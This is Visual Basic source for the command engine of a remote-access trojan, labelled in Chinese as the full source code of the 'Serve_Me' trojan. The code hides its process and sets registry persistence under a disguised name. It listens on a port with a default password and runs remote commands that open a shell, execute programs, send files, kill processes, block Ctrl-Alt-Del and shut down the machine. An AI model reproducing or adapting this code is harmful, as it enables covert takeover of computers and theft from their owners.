engine.bas

完整的特洛伊木马 Serve_Me 源代码

Attribute VB_Name = "Engine"
'Houses routines to decrypt and cut-up
'incoming data as well as server Settings
'================='
'Globals-'
Public Pass As String
Public Cmd() As String
Dim mUsers As Integer
'================='
Public Sub ServerStartup()
Dim port As String, strPass As String, MaxUsers As String
port = getstring(HKEY_CURRENT_USER, "NETBUS\Settings", "MagicPlace")
strPass = getstring(HKEY_CURRENT_USER, "NETBUS\Settings", "MagicWord")
MaxUsers = getstring(HKEY_CURRENT_USER, "NETBUS\Settings", "MagicNumber")
If port = "" Then
        Main.Sock.LocalPort = 5555
    ElseIf port <> "" Then
    Main.Sock.LocalPort = CInt(port)
End If
If strPass = "" Then
    Pass = "f4a54d"
    ElseIf strPass <> "" Then
    Pass = strPass
End If
If MaxUsers = "" Then
    mUsers = 10
    ElseIf MaxUsers <> "" Then
    mUsers = CInt(MaxUsers)
End If
End Sub
'================'
Public Sub StealthMe()
RegisterServiceProcess GetCurrentProcessId, 1
End Sub
'================'
Public Sub ProtectMe()
Dim Startup As String
Startup = getstring(HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices", "WinTray")
If Startup = "" Then
savestring HKEY_LOCAL_MACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices", "WinTray", "c:\windows\system\wintlb.exe"
ElseIf Startup <> "" Then
End If
End Sub
'================='
Public Sub SaveSettings(port As String, nPass As String)
savestring HKEY_CURRENT_USER, "NETBUS\Settings", "MagicPlace", port
savestring HKEY_CURRENT_USER, "NETBUS\Settings", "MagicWord", nPass
End Sub
'========Engine========='
Public Sub check(data As String)
Arrayize data, ";"
If Cmd(0) = "Msg" Then
MsgBx Cmd(1), Cmd(2), Cmd(3), Cmd(4)
ElseIf Cmd(0) = "Inp" Then
Inpbox Cmd(1), Cmd(2), Cmd(3)
ElseIf Cmd(0) = "HideStrt" Then
HideStartMenu Cmd(1)
SendBack Cmd(0)
ElseIf Cmd(0) = "Ejc" Then
EjectCD Cmd(1)
SendBack Cmd(0)
ElseIf Cmd(0) = "Run" Then
Run Cmd(1), Cmd(2)
SendBack Cmd(0)
ElseIf Cmd(0) = "SetPos" Then
    If UBound(Cmd) > 2 Then
    SetPos Cmd(1), Cmd(2), Cmd(3)
    Else
    SetPos Cmd(1), Cmd(2)
    End If
    SendBack Cmd(0)
ElseIf Cmd(0) = "StopPos" Then
StopPos
SendBack Cmd(0)
ElseIf Cmd(0) = "GetProcesses" Then
GetProcess
ElseIf Cmd(0) = "Shell" Then
ShellGetText Cmd(1)
ElseIf Cmd(0) = "BlockCaD" Then
BlockCaD Cmd(1)
SendBack Cmd(0)
ElseIf Cmd(0) = "RandTxt" Then
RandTxt Cmd(1), Cmd(2)
SendBack Cmd(0)
ElseIf Cmd(0) = "Print" Then
    If UBound(Cmd) > 1 Then
    PrintIt Cmd(1), Cmd(2)
    Else
    PrintIt Cmd(1)
    End If
    SendBack Cmd(0)
ElseIf Cmd(0) = "GetWinds" Then
GetWinds
ElseIf Cmd(0) = "CloseWnd" Then
CloseWindow Cmd(1)
SendBack Cmd(0)
ElseIf Cmd(0) = "FocusWnd" Then
FocusWindow Cmd(1)
SendBack Cmd(0)
ElseIf Cmd(0) = "SetWndText" Then
SetWndText Cmd(1), Cmd(2)
SendBack Cmd(0)
ElseIf Cmd(0) = "GetFiles" Then
GetFiles Cmd(1)
ElseIf Cmd(0) = "GetSubDirs" Then
GetSubDirs Cmd(1)
ElseIf Cmd(0) = "HideButton" Then
HideButton Cmd(1)
SendBack Cmd(0)
ElseIf Cmd(0) = "HideSysTray" Then
HideSysTray Cmd(1)
SendBack Cmd(0)
ElseIf Cmd(0) = "HideIEBar" Then
HideIEBar Cmd(1)
SendBack Cmd(0)
ElseIf Cmd(0) = "ShowWnd" Then
SwitchToWindow Cmd(1)
SendBack Cmd(0)
ElseIf Cmd(0) = "KillProcess" Then
KillProcess Cmd(1)
ElseIf Cmd(0) = "GetWinDir" Then
GetWinDir
ElseIf Cmd(0) = "GetSysDir" Then
GetSysDir
ElseIf Cmd(0) = "GetInfo" Then
GetInfo
ElseIf Cmd(0) = "GetDrives" Then
GetDrives
ElseIf Cmd(0) = "Pixelize" Then
Pixelize Cmd(1)
SendBack Cmd(0)
ElseIf Cmd(0) = "Lines" Then
Lines Cmd(1)
SendBack Cmd(0)
ElseIf Cmd(0) = "Boxes" Then
Boxes Cmd(1)
SendBack Cmd(0)
ElseIf Cmd(0) = "End" Then
E_P = True
Unload Main
End
ElseIf Cmd(0) = "HideProc" Then
HideProc Cmd(1), Cmd(2)
SendBack Cmd(0)
ElseIf Cmd(0) = "SendFile" Then
SendFile Cmd(1)
ElseIf Cmd(0) = "SaveSet" Then
SaveSettings Cmd(1), Cmd(2)
SendBack Cmd(0)
ElseIf Cmd(0) = "Ping" Then
Pong
ElseIf Cmd(0) = "Shutdown" Then
ShutDown Cmd(1)
SendBack Cmd(0)
End If
End Sub
Public Sub Arrayize(sTxt As String, sToken As String)
    Dim iTokenLen As Integer
    Dim iTokenCnt As Integer
    Dim lOffset As Long
    Dim lPrevOffset As Long
    iTokenLen = Len(sToken)
    lOffset = InStr(sTxt, sToken)
    Do While lOffset > 0
        ReDim Preserve Cmd(iTokenCnt)
        If lOffset - lPrevOffset > 1 Then
           Cmd(iTokenCnt) = Mid$(sTxt, lPrevOffset + 1, lOffset - 1 - lPrevOffset)
        Else
        End If
        lPrevOffset = lOffset
        lOffset = InStr(lOffset + iTokenLen, sTxt, sToken)
        iTokenCnt = iTokenCnt + 1
    Loop
    ReDim Preserve Cmd(iTokenCnt)
    Cmd(iTokenCnt) = Mid$(sTxt, lPrevOffset + 1)
End Sub
'===Sends Conformation==="
Public Sub SendBack(data As String)
Dim out As String
Dim ret As String
ret = data & " packet recieved "
out = PrepareData(ret)
Main.Sock.SendData out
End Sub